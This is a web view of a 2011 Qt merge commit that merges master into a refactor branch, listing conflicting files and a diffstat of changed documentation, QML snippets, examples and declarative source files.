aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorGunnar Sletta <gunnar.sletta@nokia.com>2011-08-25 11:47:24 +0200
committerGunnar Sletta <gunnar.sletta@nokia.com>2011-08-25 12:52:15 +0200
commit8e6ecb56e5d61ce661422779c9d9cbf22f081a34 (patch)
tree227aeb360800a49de58472bd39bc5f4c596c1b15
parentc9224b6cf5cceb7d5314f7504d44bfe72bc66950 (diff)
parent0d84e957297b4ffa6ab5b0b5bcf8b169d567d298 (diff)
Merge branch 'master' into refactor
Conflicts: src/declarative/items/qsgcanvas.cpp src/declarative/items/qsgitem.cpp src/declarative/items/qsgtextnode.cpp tests/auto/declarative/examples/examples.pro tools/qmlviewer/qmlviewer.pro Change-Id: Icbb0ef5dc79b658c62fd2b2c25a66c9bb3cbeb10
-rw-r--r--.gitignore11
-rw-r--r--doc/src/declarative/elements.qdoc2
-rw-r--r--doc/src/declarative/qmlreusablecomponents.qdoc19
-rw-r--r--doc/src/declarative/qtjavascript.qdoc92
-rw-r--r--doc/src/declarative/qtquick1.qdoc7
-rw-r--r--doc/src/declarative/qtquick2.qdoc38
-rw-r--r--doc/src/declarative/whatsnew.qdoc12
-rw-r--r--doc/src/qtquick1/advtutorial.qdoc465
-rw-r--r--doc/src/qtquick1/anchor-layout.qdoc144
-rw-r--r--doc/src/qtquick1/animation.qdoc273
-rw-r--r--doc/src/qtquick1/basicelements.qdoc114
-rw-r--r--doc/src/qtquick1/basictypes.qdoc596
-rw-r--r--doc/src/qtquick1/behaviors-and-states.qdoc206
-rw-r--r--doc/src/qtquick1/codingconventions.qdoc129
-rw-r--r--doc/src/qtquick1/declarativeui.qdoc158
-rw-r--r--doc/src/qtquick1/dynamicobjects.qdoc215
-rw-r--r--doc/src/qtquick1/elements.qdoc323
-rw-r--r--doc/src/qtquick1/example-slideswitch.qdoc129
-rw-r--r--doc/src/qtquick1/example-textballoons.qdoc104
-rw-r--r--doc/src/qtquick1/examples.qdoc244
-rw-r--r--doc/src/qtquick1/extending-tutorial.qdoc497
-rw-r--r--doc/src/qtquick1/extending.qdoc708
-rw-r--r--doc/src/qtquick1/focus.qdoc210
-rw-r--r--doc/src/qtquick1/globalobject.qdoc209
-rw-r--r--doc/src/qtquick1/integrating.qdoc111
-rw-r--r--doc/src/qtquick1/javascriptblocks.qdoc553
-rw-r--r--doc/src/qtquick1/modules.qdoc487
-rw-r--r--doc/src/qtquick1/mouseevents.qdoc120
-rw-r--r--doc/src/qtquick1/network.qdoc159
-rw-r--r--doc/src/qtquick1/particles.qdoc116
-rw-r--r--doc/src/qtquick1/pics/3d-axis.pngbin0 -> 13840 bytes
-rw-r--r--doc/src/qtquick1/pics/3d-rotation-axis.pngbin0 -> 11078 bytes
-rw-r--r--doc/src/qtquick1/pics/BorderImage.pngbin0 -> 8094 bytes
-rw-r--r--doc/src/qtquick1/pics/ListViewHighlight.pngbin0 -> 3582 bytes
-rw-r--r--doc/src/qtquick1/pics/ListViewHorizontal.pngbin0 -> 5802 bytes
-rw-r--r--doc/src/qtquick1/pics/ListViewVertical.pngbin0 -> 2424 bytes
-rw-r--r--doc/src/qtquick1/pics/anatomy-component.pngbin0 -> 4902 bytes
-rw-r--r--doc/src/qtquick1/pics/anchorchanges.pngbin0 -> 566 bytes
-rw-r--r--doc/src/qtquick1/pics/anchors.svg92
-rw-r--r--doc/src/qtquick1/pics/animatedimageitem.gifbin0 -> 9997 bytes
-rw-r--r--doc/src/qtquick1/pics/axisrotation.pngbin0 -> 8891 bytes
-rw-r--r--doc/src/qtquick1/pics/blur_example.pngbin0 -> 64019 bytes
-rw-r--r--doc/src/qtquick1/pics/content.pngbin0 -> 1978 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-adv-tutorial1.pngbin0 -> 203229 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-adv-tutorial2.pngbin0 -> 249451 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-adv-tutorial3.pngbin0 -> 283378 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-adv-tutorial4.gifbin0 -> 1687445 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-qmlfocus1.pngbin0 -> 22047 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-qmlfocus2.pngbin0 -> 24225 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-qmlfocus3.pngbin0 -> 26300 bytes
-rw-r--r--doc/src/qtquick1/pics/declarative-qmlfocus4.pngbin0 -> 21401 bytes
-rw-r--r--doc/src/qtquick1/pics/dial-example.gifbin0 -> 566465 bytes
-rw-r--r--doc/src/qtquick1/pics/edge1.pngbin0 -> 3423 bytes
-rw-r--r--doc/src/qtquick1/pics/edge2.pngbin0 -> 3436 bytes
-rw-r--r--doc/src/qtquick1/pics/edge3.pngbin0 -> 3854 bytes
-rw-r--r--doc/src/qtquick1/pics/edge4.pngbin0 -> 5152 bytes
-rw-r--r--doc/src/qtquick1/pics/edges.pngbin0 -> 15226 bytes
-rw-r--r--doc/src/qtquick1/pics/edges.svg185
-rw-r--r--doc/src/qtquick1/pics/edges_examples.svg109
-rw-r--r--doc/src/qtquick1/pics/edges_qml.pngbin0 -> 21731 bytes
-rw-r--r--doc/src/qtquick1/pics/edges_qml.svg188
-rw-r--r--doc/src/qtquick1/pics/extending-tutorial-chapter1.pngbin0 -> 6687 bytes
-rw-r--r--doc/src/qtquick1/pics/extending-tutorial-chapter2.pngbin0 -> 7318 bytes
-rw-r--r--doc/src/qtquick1/pics/extending-tutorial-chapter3.pngbin0 -> 8145 bytes
-rw-r--r--doc/src/qtquick1/pics/extending-tutorial-chapter5.pngbin0 -> 5557 bytes
-rw-r--r--doc/src/qtquick1/pics/flickable.gifbin0 -> 185221 bytes
-rw-r--r--doc/src/qtquick1/pics/flipable.gifbin0 -> 131710 bytes
-rw-r--r--doc/src/qtquick1/pics/gridLayout_example.pngbin0 -> 437 bytes
-rw-r--r--doc/src/qtquick1/pics/gridview-highlight.pngbin0 -> 11806 bytes
-rw-r--r--doc/src/qtquick1/pics/gridview-simple.pngbin0 -> 10149 bytes
-rw-r--r--doc/src/qtquick1/pics/highlight.gifbin0 -> 18259 bytes
-rw-r--r--doc/src/qtquick1/pics/horizontalpositioner_example.pngbin0 -> 292 bytes
-rw-r--r--doc/src/qtquick1/pics/imageprovider.pngbin0 -> 420 bytes
-rw-r--r--doc/src/qtquick1/pics/layoutmirroring.pngbin0 -> 2542 bytes
-rw-r--r--doc/src/qtquick1/pics/listmodel-nested.pngbin0 -> 7493 bytes
-rw-r--r--doc/src/qtquick1/pics/listmodel.pngbin0 -> 3407 bytes
-rw-r--r--doc/src/qtquick1/pics/listview-highlight.pngbin0 -> 5918 bytes
-rw-r--r--doc/src/qtquick1/pics/listview-simple.pngbin0 -> 5351 bytes
-rw-r--r--doc/src/qtquick1/pics/margins_qml.pngbin0 -> 18476 bytes
-rw-r--r--doc/src/qtquick1/pics/margins_qml.svg196
-rw-r--r--doc/src/qtquick1/pics/parentchange.pngbin0 -> 509 bytes
-rw-r--r--doc/src/qtquick1/pics/particles.gifbin0 -> 163068 bytes
-rw-r--r--doc/src/qtquick1/pics/pathview.gifbin0 -> 90512 bytes
-rw-r--r--doc/src/qtquick1/pics/positioner-add.gifbin0 -> 7821 bytes
-rw-r--r--doc/src/qtquick1/pics/positioner-move.gifbin0 -> 6154 bytes
-rw-r--r--doc/src/qtquick1/pics/positioner-remove.gifbin0 -> 5610 bytes
-rw-r--r--doc/src/qtquick1/pics/propanim.gifbin0 -> 74909 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-context-object.pngbin0 -> 23602 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-context-tree.pngbin0 -> 10337 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-context.pngbin0 -> 61465 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-extending-types.pngbin0 -> 738 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-gradient.pngbin0 -> 364 bytes
-rw-r--r--doc/src/qtquick1/pics/qml-scope.pngbin0 -> 47564 bytes
-rw-r--r--doc/src/qtquick1/pics/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--doc/src/qtquick1/pics/rect-border-width.pngbin0 -> 374 bytes
-rw-r--r--doc/src/qtquick1/pics/rect-color.pngbin0 -> 570 bytes
-rw-r--r--doc/src/qtquick1/pics/rect-smooth.pngbin0 -> 24241 bytes
-rw-r--r--doc/src/qtquick1/pics/reflection_example.pngbin0 -> 30919 bytes
-rw-r--r--doc/src/qtquick1/pics/repeater-index.pngbin0 -> 3024 bytes
-rw-r--r--doc/src/qtquick1/pics/repeater-modeldata.pngbin0 -> 3394 bytes
-rw-r--r--doc/src/qtquick1/pics/repeater-simple.pngbin0 -> 404 bytes
-rw-r--r--doc/src/qtquick1/pics/repeater.pngbin0 -> 800 bytes
-rw-r--r--doc/src/qtquick1/pics/scalegrid.svg183
-rw-r--r--doc/src/qtquick1/pics/shadow_example.pngbin0 -> 4775 bytes
-rw-r--r--doc/src/qtquick1/pics/squish-transform.pngbin0 -> 9652 bytes
-rw-r--r--doc/src/qtquick1/pics/squish.pngbin0 -> 8590 bytes
-rw-r--r--doc/src/qtquick1/pics/switch-example.gifbin0 -> 25270 bytes
-rw-r--r--doc/src/qtquick1/pics/translate.pngbin0 -> 398 bytes
-rw-r--r--doc/src/qtquick1/pics/verticalpositioner_example.pngbin0 -> 385 bytes
-rw-r--r--doc/src/qtquick1/pics/verticalpositioner_transition.gifbin0 -> 12641 bytes
-rw-r--r--doc/src/qtquick1/pics/visualitemmodel.pngbin0 -> 347 bytes
-rw-r--r--doc/src/qtquick1/pics/webview.pngbin0 -> 126662 bytes
-rw-r--r--doc/src/qtquick1/positioners.qdoc196
-rw-r--r--doc/src/qtquick1/propertybinding.qdoc324
-rw-r--r--doc/src/qtquick1/qdeclarativedebugging.qdoc86
-rw-r--r--doc/src/qtquick1/qdeclarativedocument.qdoc143
-rw-r--r--doc/src/qtquick1/qdeclarativei18n.qdoc87
-rw-r--r--doc/src/qtquick1/qdeclarativeintro.qdoc404
-rw-r--r--doc/src/qtquick1/qdeclarativemodels.qdoc505
-rw-r--r--doc/src/qtquick1/qdeclarativeperformance.qdoc150
-rw-r--r--doc/src/qtquick1/qdeclarativesecurity.qdoc80
-rw-r--r--doc/src/qtquick1/qdeclarativestates.qdoc158
-rw-r--r--doc/src/qtquick1/qmlevents.qdoc127
-rw-r--r--doc/src/qtquick1/qmlinuse.qdoc499
-rw-r--r--doc/src/qtquick1/qmlreusablecomponents.qdoc160
-rw-r--r--doc/src/qtquick1/qmlruntime.qdoc144
-rw-r--r--doc/src/qtquick1/qmlsyntax.qdoc155
-rw-r--r--doc/src/qtquick1/qmltest.qdoc123
-rw-r--r--doc/src/qtquick1/qmltexthandling.qdoc76
-rw-r--r--doc/src/qtquick1/qmlviewer.qdoc237
-rw-r--r--doc/src/qtquick1/qmlviews.qdoc127
-rw-r--r--doc/src/qtquick1/qmlwebkit.qdoc52
-rw-r--r--doc/src/qtquick1/qtbinding.qdoc669
-rw-r--r--doc/src/qtquick1/qtdeclarative.qdoc213
-rw-r--r--doc/src/qtquick1/qtprogrammers.qdoc155
-rw-r--r--doc/src/qtquick1/qtquick-intro.qdoc124
-rw-r--r--doc/src/qtquick1/qtquick1.qdoc37
-rw-r--r--doc/src/qtquick1/righttoleft.qdoc195
-rw-r--r--doc/src/qtquick1/scope.qdoc304
-rw-r--r--doc/src/qtquick1/tutorial.qdoc226
-rw-r--r--doc/src/qtquick1/whatsnew.qdoc243
-rw-r--r--doc/src/snippets/code/src_script_qjsengine.cpp90
-rw-r--r--doc/src/snippets/code/src_script_qjsvalue.cpp65
-rw-r--r--doc/src/snippets/code/src_script_qjsvalueiterator.cpp72
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/Button.qml7
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/application.qml3
-rw-r--r--doc/src/snippets/qtjavascript/evaluation/main.cpp51
-rw-r--r--doc/src/snippets/qtjavascript/registeringobjects/main.cpp57
-rw-r--r--doc/src/snippets/qtjavascript/registeringvalues/main.cpp53
-rw-r--r--doc/src/snippets/qtquick1/Button.qml67
-rw-r--r--doc/src/snippets/qtquick1/SelfDestroyingRect.qml60
-rw-r--r--doc/src/snippets/qtquick1/Sprite.qml45
-rw-r--r--doc/src/snippets/qtquick1/anchoranimation.qml66
-rw-r--r--doc/src/snippets/qtquick1/anchorchanges.qml68
-rw-r--r--doc/src/snippets/qtquick1/animatedimage.qml61
-rw-r--r--doc/src/snippets/qtquick1/animation.qml226
-rw-r--r--doc/src/snippets/qtquick1/application.qml53
-rw-r--r--doc/src/snippets/qtquick1/behavior.qml58
-rw-r--r--doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml81
-rw-r--r--doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml81
-rw-r--r--doc/src/snippets/qtquick1/borderimage/normal-image.qml77
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/dotproperties.qml68
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml47
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/javascript.qml73
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/lists.qml62
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/myscript.js9
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/photo.qml85
-rw-r--r--doc/src/snippets/qtquick1/codingconventions/private.qml49
-rw-r--r--doc/src/snippets/qtquick1/coloranimation.qml51
-rw-r--r--doc/src/snippets/qtquick1/colors.qml125
-rw-r--r--doc/src/snippets/qtquick1/column/column.qml67
-rw-r--r--doc/src/snippets/qtquick1/column/vertical-positioner.qml50
-rw-r--r--doc/src/snippets/qtquick1/comments.qml53
-rw-r--r--doc/src/snippets/qtquick1/component.qml59
-rw-r--r--doc/src/snippets/qtquick1/componentCreation.js45
-rw-r--r--doc/src/snippets/qtquick1/createComponent-simple.qml57
-rw-r--r--doc/src/snippets/qtquick1/createComponent.qml51
-rw-r--r--doc/src/snippets/qtquick1/createQmlObject.qml61
-rw-r--r--doc/src/snippets/qtquick1/dynamicObjects-destroy.qml55
-rw-r--r--doc/src/snippets/qtquick1/events.qml141
-rw-r--r--doc/src/snippets/qtquick1/flickable.qml50
-rw-r--r--doc/src/snippets/qtquick1/flickableScrollbar.qml66
-rw-r--r--doc/src/snippets/qtquick1/flipable/flipable.qml78
-rw-r--r--doc/src/snippets/qtquick1/flow.qml64
-rw-r--r--doc/src/snippets/qtquick1/focus/MyClickableWidget.qml69
-rw-r--r--doc/src/snippets/qtquick1/focus/MyWidget.qml58
-rw-r--r--doc/src/snippets/qtquick1/focus/advancedFocus.qml67
-rw-r--r--doc/src/snippets/qtquick1/focus/basicwidget.qml59
-rw-r--r--doc/src/snippets/qtquick1/focus/clickablewidget.qml61
-rw-r--r--doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml68
-rw-r--r--doc/src/snippets/qtquick1/focus/rectangle.qml62
-rw-r--r--doc/src/snippets/qtquick1/focus/widget.qml61
-rw-r--r--doc/src/snippets/qtquick1/folderlistmodel.qml61
-rw-r--r--doc/src/snippets/qtquick1/gradient.qml52
-rw-r--r--doc/src/snippets/qtquick1/grid-spacing.qml60
-rw-r--r--doc/src/snippets/qtquick1/grid/grid-items.qml58
-rw-r--r--doc/src/snippets/qtquick1/grid/grid-no-spacing.qml57
-rw-r--r--doc/src/snippets/qtquick1/grid/grid-spacing.qml60
-rw-r--r--doc/src/snippets/qtquick1/grid/grid.qml53
-rw-r--r--doc/src/snippets/qtquick1/gridview/ContactModel.qml63
-rw-r--r--doc/src/snippets/qtquick1/gridview/gridview.qml163
-rw-r--r--doc/src/snippets/qtquick1/image.qml47
-rw-r--r--doc/src/snippets/qtquick1/imports/chart.qml46
-rw-r--r--doc/src/snippets/qtquick1/imports/installed-module.qml47
-rw-r--r--doc/src/snippets/qtquick1/imports/merged-named-imports.qml47
-rw-r--r--doc/src/snippets/qtquick1/imports/named-imports.qml61
-rw-r--r--doc/src/snippets/qtquick1/imports/network-imports.qml47
-rw-r--r--doc/src/snippets/qtquick1/imports/qtquick-1.0.qml46
-rw-r--r--doc/src/snippets/qtquick1/imports/timeexample.qml46
-rw-r--r--doc/src/snippets/qtquick1/integrating-javascript/connectjs.qml57
-rw-r--r--doc/src/snippets/qtquick1/integrating-javascript/includejs/app.qml56
-rw-r--r--doc/src/snippets/qtquick1/integrating-javascript/includejs/factorial.js49
-rw-r--r--doc/src/snippets/qtquick1/integrating-javascript/includejs/script.js48
-rw-r--r--doc/src/snippets/qtquick1/integrating-javascript/script.js47
-rw-r--r--doc/src/snippets/qtquick1/keynavigation.qml84
-rw-r--r--doc/src/snippets/qtquick1/keys/keys-handler.qml60
-rw-r--r--doc/src/snippets/qtquick1/keys/keys-pressed.qml65
-rw-r--r--doc/src/snippets/qtquick1/layoutmirroring.qml71
-rw-r--r--doc/src/snippets/qtquick1/listmodel-modify.qml96
-rw-r--r--doc/src/snippets/qtquick1/listmodel-nested.qml102
-rw-r--r--doc/src/snippets/qtquick1/listmodel-simple.qml79
-rw-r--r--doc/src/snippets/qtquick1/listmodel.qml59
-rw-r--r--doc/src/snippets/qtquick1/listview-decorations.qml111
-rw-r--r--doc/src/snippets/qtquick1/listview-sections.qml101
-rw-r--r--doc/src/snippets/qtquick1/listview.qml87
-rw-r--r--doc/src/snippets/qtquick1/listview/ContactModel.qml58
-rw-r--r--doc/src/snippets/qtquick1/listview/listview-snippet.qml52
-rw-r--r--doc/src/snippets/qtquick1/listview/listview.qml149
-rw-r--r--doc/src/snippets/qtquick1/loader/KeyReader.qml53
-rw-r--r--doc/src/snippets/qtquick1/loader/MyItem.qml (renamed from src/declarative/particles/qsgcustomemitter_p.h)47
-rw-r--r--doc/src/snippets/qtquick1/loader/connections.qml (renamed from src/declarative/particles/qsgcustomaffector.cpp)44
-rw-r--r--doc/src/snippets/qtquick1/loader/focus.qml (renamed from src/declarative/particles/qsgcustomaffector_p.h)43
-rw-r--r--doc/src/snippets/qtquick1/loader/simple.qml54
-rw-r--r--doc/src/snippets/qtquick1/loader/sizeitem.qml62
-rw-r--r--doc/src/snippets/qtquick1/loader/sizeloader.qml62
-rw-r--r--doc/src/snippets/qtquick1/models/views-models-delegates.qml79
-rw-r--r--doc/src/snippets/qtquick1/models/visual-model-and-view.qml58
-rw-r--r--doc/src/snippets/qtquick1/mousearea/mousearea-snippet.qml98
-rw-r--r--doc/src/snippets/qtquick1/mousearea/mousearea.qml117
-rw-r--r--doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml72
-rw-r--r--doc/src/snippets/qtquick1/numberanimation.qml51
-rw-r--r--doc/src/snippets/qtquick1/parallelanimation.qml56
-rw-r--r--doc/src/snippets/qtquick1/parentanimation.qml73
-rw-r--r--doc/src/snippets/qtquick1/parentchange.qml67
-rw-r--r--doc/src/snippets/qtquick1/pathview/ContactModel.qml58
-rw-r--r--doc/src/snippets/qtquick1/pathview/pathattributes.qml79
-rw-r--r--doc/src/snippets/qtquick1/pathview/pathview.qml80
-rw-r--r--doc/src/snippets/qtquick1/properties.qml315
-rw-r--r--doc/src/snippets/qtquick1/propertyaction-sequential.qml72
-rw-r--r--doc/src/snippets/qtquick1/propertyaction.qml83
-rw-r--r--doc/src/snippets/qtquick1/propertyanimation.qml100
-rw-r--r--doc/src/snippets/qtquick1/propertychanges.qml91
-rw-r--r--doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml67
-rw-r--r--doc/src/snippets/qtquick1/qml-data-models/listelements.qml77
-rw-r--r--doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml64
-rw-r--r--doc/src/snippets/qtquick1/qml-documents/inline-component.qml57
-rw-r--r--doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml55
-rw-r--r--doc/src/snippets/qtquick1/qml-documents/non-trivial.qml62
-rw-r--r--doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml66
-rw-r--r--doc/src/snippets/qtquick1/qml-intro/images/qt-logo.svg104
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context-advanced/MyItem.qml46
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context-advanced/applicationdata.h52
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context-advanced/connections.qml52
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context-advanced/main.cpp60
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context/MyItem.qml45
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/context/main.cpp56
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/enums/imageviewer.h68
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/enums/standalone.qml64
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/functions-cpp/MyItem.qml55
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/functions-cpp/main.cpp59
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/functions-cpp/myclass.h57
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/functions-qml/MyItem.qml50
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/functions-qml/main.cpp63
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/loading/MyItem.qml56
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/loading/main.cpp90
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/newelements/imageviewer.h56
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/newelements/main.cpp62
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/newelements/standalone.qml44
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/properties-cpp/MyItem.qml54
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h71
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml47
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp61
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/resources/example.qrc10
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/resources/main.cpp57
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/resources/main.qml46
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/resources/resources.pro4
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml50
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h64
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp81
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml48
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml55
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp59
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/signals-qml/myclass.h51
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/variantlistmap/MyItem.qml54
-rw-r--r--doc/src/snippets/qtquick1/qtbinding/variantlistmap/main.cpp67
-rw-r--r--doc/src/snippets/qtquick1/qtobject.qml54
-rw-r--r--doc/src/snippets/qtquick1/rectangle/rect-border-width.qml59
-rw-r--r--doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml62
-rw-r--r--doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml74
-rw-r--r--doc/src/snippets/qtquick1/rectangle/rectangle.qml52
-rw-r--r--doc/src/snippets/qtquick1/repeaters/repeater-grid-index.qml61
-rw-r--r--doc/src/snippets/qtquick1/repeaters/repeater.qml89
-rw-r--r--doc/src/snippets/qtquick1/reusablecomponents/Button.qml87
-rw-r--r--doc/src/snippets/qtquick1/reusablecomponents/application.qml58
-rw-r--r--doc/src/snippets/qtquick1/reusablecomponents/component.qml77
-rw-r--r--doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml98
-rw-r--r--doc/src/snippets/qtquick1/reusablecomponents/qmldir4
-rw-r--r--doc/src/snippets/qtquick1/righttoleft.qml149
-rw-r--r--doc/src/snippets/qtquick1/righttoleft/Child.qml51
-rw-r--r--doc/src/snippets/qtquick1/rotation.qml69
-rw-r--r--doc/src/snippets/qtquick1/rotationanimation.qml66
-rw-r--r--doc/src/snippets/qtquick1/row.qml62
-rw-r--r--doc/src/snippets/qtquick1/row/row.qml50
-rw-r--r--doc/src/snippets/qtquick1/script.js4
-rw-r--r--doc/src/snippets/qtquick1/sequentialanimation.qml56
-rw-r--r--doc/src/snippets/qtquick1/smoothedanimation.qml69
-rw-r--r--doc/src/snippets/qtquick1/springanimation.qml65
-rw-r--r--doc/src/snippets/qtquick1/state-when.qml54
-rw-r--r--doc/src/snippets/qtquick1/state.qml61
-rw-r--r--doc/src/snippets/qtquick1/states.qml121
-rw-r--r--doc/src/snippets/qtquick1/states/statechangescript.qml63
-rw-r--r--doc/src/snippets/qtquick1/systempalette.qml54
-rw-r--r--doc/src/snippets/qtquick1/text/onLinkActivated.qml54
-rw-r--r--doc/src/snippets/qtquick1/texthandling.qml89
-rw-r--r--doc/src/snippets/qtquick1/transition-from-to-modified.qml60
-rw-r--r--doc/src/snippets/qtquick1/transition-from-to.qml59
-rw-r--r--doc/src/snippets/qtquick1/transition-reversible.qml66
-rw-r--r--doc/src/snippets/qtquick1/transition.qml63
-rw-r--r--doc/src/snippets/qtquick1/transitions-list.qml89
-rw-r--r--doc/src/snippets/qtquick1/visualdatamodel.qml64
-rw-r--r--doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp62
-rw-r--r--doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml65
-rw-r--r--doc/src/snippets/qtquick1/workerscript.qml64
-rw-r--r--doc/src/snippets/qtquick1/xmlrole.qml80
-rw-r--r--doc/src/snippets/qtquick1/xmlrole.xml14
-rw-r--r--examples/declarative/canvas/svgpath/tiger.js763
-rw-r--r--examples/declarative/canvas/svgpath/tiger.qml85
-rw-r--r--examples/declarative/declarative.pro3
-rw-r--r--examples/declarative/particles/allsmiles/ultraparticles.qml2
-rw-r--r--examples/declarative/particles/custom/custom.qml10
-rw-r--r--examples/declarative/particles/custom/fallingleaves.qml4
-rw-r--r--examples/declarative/particles/exampleslauncher.qml1
-rw-r--r--examples/declarative/particles/modelparticles/gridsplosion.qml2
-rw-r--r--examples/declarative/particles/trails/fireworks.qml1
-rw-r--r--examples/declarative/particles/trails/overburst.qml3
-rw-r--r--examples/declarative/particles/trails/turbulence.qml4
-rw-r--r--examples/declarative/positioners/positioners-attachedproperties.qml66
-rw-r--r--examples/declarative/samegame/SamegameCore/BoomBlock.qml1
-rw-r--r--examples/declarative/samegame/SamegameCore/Dialog.qml1
-rw-r--r--examples/declarative/samegame/SamegameCore/GameArea.qml91
-rw-r--r--examples/declarative/samegame/SamegameCore/NameInputDialog.qml93
-rw-r--r--examples/declarative/samegame/SamegameCore/qmldir3
-rwxr-xr-xexamples/declarative/samegame/SamegameCore/samegame.js51
-rw-r--r--examples/declarative/samegame/highscores/README1
-rwxr-xr-xexamples/declarative/samegame/highscores/score_data.xml2
-rwxr-xr-xexamples/declarative/samegame/highscores/score_style.xsl28
-rwxr-xr-xexamples/declarative/samegame/highscores/scores.php34
-rw-r--r--examples/declarative/samegame/samegame.qml121
-rw-r--r--examples/declarative/script/script.pro4
-rw-r--r--examples/declarative/script/shell/main.cpp153
-rw-r--r--examples/declarative/script/shell/shell.pro8
-rw-r--r--src/declarative/debugger/debugger.pri6
-rw-r--r--src/declarative/debugger/qdeclarativedebugserver.cpp10
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice.cpp20
-rw-r--r--src/declarative/debugger/qdeclarativedebugservice_p.h1
-rw-r--r--src/declarative/debugger/qjsdebuggeragent.cpp571
-rw-r--r--src/declarative/debugger/qjsdebuggeragent_p.h203
-rw-r--r--src/declarative/debugger/qjsdebugservice.cpp208
-rw-r--r--src/declarative/debugger/qv8debugservice.cpp274
-rw-r--r--src/declarative/debugger/qv8debugservice_p.h (renamed from src/declarative/debugger/qjsdebugservice_p.h)34
-rw-r--r--src/declarative/items/qsganimatedimage.cpp95
-rw-r--r--src/declarative/items/qsgborderimage.cpp249
-rw-r--r--src/declarative/items/qsgcanvas.cpp71
-rw-r--r--src/declarative/items/qsgcanvas_p.h4
-rw-r--r--src/declarative/items/qsgevents.cpp193
-rw-r--r--src/declarative/items/qsgflickable.cpp278
-rw-r--r--src/declarative/items/qsgflipable.cpp54
-rw-r--r--src/declarative/items/qsgfocusscope.cpp16
-rw-r--r--src/declarative/items/qsggridview.cpp495
-rw-r--r--src/declarative/items/qsgimage.cpp4
-rw-r--r--src/declarative/items/qsgitem.cpp1932
-rw-r--r--src/declarative/items/qsgitem.h1
-rw-r--r--src/declarative/items/qsgitemsmodule.cpp1
-rw-r--r--src/declarative/items/qsgitemview.cpp66
-rw-r--r--src/declarative/items/qsgitemview_p.h34
-rw-r--r--src/declarative/items/qsgitemview_p_p.h47
-rw-r--r--src/declarative/items/qsglistview.cpp589
-rw-r--r--src/declarative/items/qsgloader.cpp205
-rw-r--r--src/declarative/items/qsgmousearea.cpp368
-rw-r--r--src/declarative/items/qsgmousearea_p.h2
-rw-r--r--src/declarative/items/qsgpainteditem.cpp9
-rw-r--r--src/declarative/items/qsgpathview.cpp412
-rw-r--r--src/declarative/items/qsgpathview_p.h4
-rw-r--r--src/declarative/items/qsgpathview_p_p.h2
-rw-r--r--src/declarative/items/qsgpincharea.cpp182
-rw-r--r--src/declarative/items/qsgpositioners.cpp755
-rw-r--r--src/declarative/items/qsgpositioners_p.h51
-rw-r--r--src/declarative/items/qsgrectangle.cpp294
-rw-r--r--src/declarative/items/qsgrectangle_p_p.h12
